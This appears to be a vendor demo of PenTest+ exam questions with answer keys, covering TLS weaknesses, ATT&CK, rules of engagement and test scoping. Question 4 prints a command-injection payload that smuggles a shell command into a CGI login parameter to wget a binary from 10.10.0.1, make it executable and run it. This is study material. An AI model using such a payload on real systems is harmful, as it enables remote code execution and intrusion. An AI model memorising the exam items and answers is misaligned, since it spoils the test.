KillTest

Higher Quality, Better Service!

Q&A

http://www.killtest.com

We offer free update service for one year.

Exam : PT0-002

Title : CompTIA PenTest+ Certification Exam

Version : DEMO

1.The following output is from reconnaissance on a public-facing banking website:

```
...
Start 2021-02-02 18:24:59 -->> 192.168.1.66:443 (192.168.1.66) <<--
rDNS (192.168.1.66): centralbankwebservice.local
Service detected: HTTP

Testing protocols via sockets except NPN+ALPN
SSLv2 not offered (OK)
SSLv3 not offered (OK)
TLS 1 offered (deprecated)
TLS 1.1 not offered
TLS 1.2 not offered and downgraded to a weaker protocol
TLS 1.3 not offered and downgraded to a weaker protocol
NPN/SPDY not offered
ALPN/HTTP2 not offered
Testing cipher categories
NULL ciphers (no encryption) not offered (OK)
Anonymous NULL Ciphers (no authentication) not offered (OK)
Export ciphers (w/o ADH+NULL) not offered (OK)
LOW: 64 Bit + DES, RC[2,4] (w/o export) offered (NOT ok)
Triple DES Ciphers / IDEA offered
Obsolete CBC ciphers (AES, ARIA etc.) offered
Strong encryption (AEAD ciphers) not offered

Testing robust (perfect) forward secrecy, (P)FS -- omitting Null Authentication/Encryption, 3DES, RC4
No ciphers supporting Forward Secrecy offered

Testing server preferences
Has server cipher order? no (NOT ok)
Negotiated protocol TLSv1
Negotiated cipher AES256-SHA (limited sense as client will pick)
...
```

Based on these results, which of the following attacks is MOST likely to succeed?

A. A birthday attack on 64-bit ciphers (Sweet32)

B. An attack that breaks RC4 encryption

C. An attack on a session ticket extension (Ticketbleed)

D. A Heartbleed attack

Answer: B

2.Which of the following provides a matrix of common tactics and techniques used by attackers along with recommended mitigations?

A. NIST SP 800-53

B. OWASP Top 10

C. MITRE ATT&CK framework

D. PTES technical guidelines

Answer: C

Explanation:

Reference: https://digitalguardian.com/blog/what-mitre-attck-framework

3.The delivery of a penetration test within an organization requires defining specific parameters regarding the nature and types of exercises that can be conducted and when they can be conducted. Which of the following BEST identifies this concept?

A. Statement of work

B. Program scope

C. Non-disclosure agreement

D. Rules of engagement

Answer: D
Explanation:
Rules of engagement (ROE) is a document that outlines the specific guidelines and limitations of a penetration test engagement. The document is agreed upon by both the penetration testing team and the client and sets expectations for how the test will be conducted, what systems are in scope, what types of attacks are allowed, and any other parameters that need to be defined. ROE helps to ensure that the engagement is conducted safely, ethically, and with minimal disruption to the client's operations.

4.A penetration tester was able to gain access to a system using an exploit.
The following is a snippet of the code that was utilized:
exploit = “POST ”
exploit += “/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} –c${IFS}’cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS }apache;${IFS}./apache’%0A%27&loginUser=a&Pwd=a”
exploit += “HTTP/1.1”
Which of the following commands should the penetration tester run post-engagement?
A. grep –v apache ~/.bash_history > ~/.bash_history
B. rm –rf /tmp/apache
C. chmod 600 /tmp/apache
D. taskkill /IM “apache” /F
Answer: B

5.A client wants a security assessment company to perform a penetration test against its hot site. The purpose of the test is to determine the effectiveness of the defenses that protect against disruptions to business continuity.
Which of the following is the MOST important action to take before starting this type of assessment?
A. Ensure the client has signed the SOW.
B. Verify the client has granted network access to the hot site.
C. Determine if the failover environment relies on resources not owned by the client.
D. Establish communication and escalation procedures with the client.
Answer: D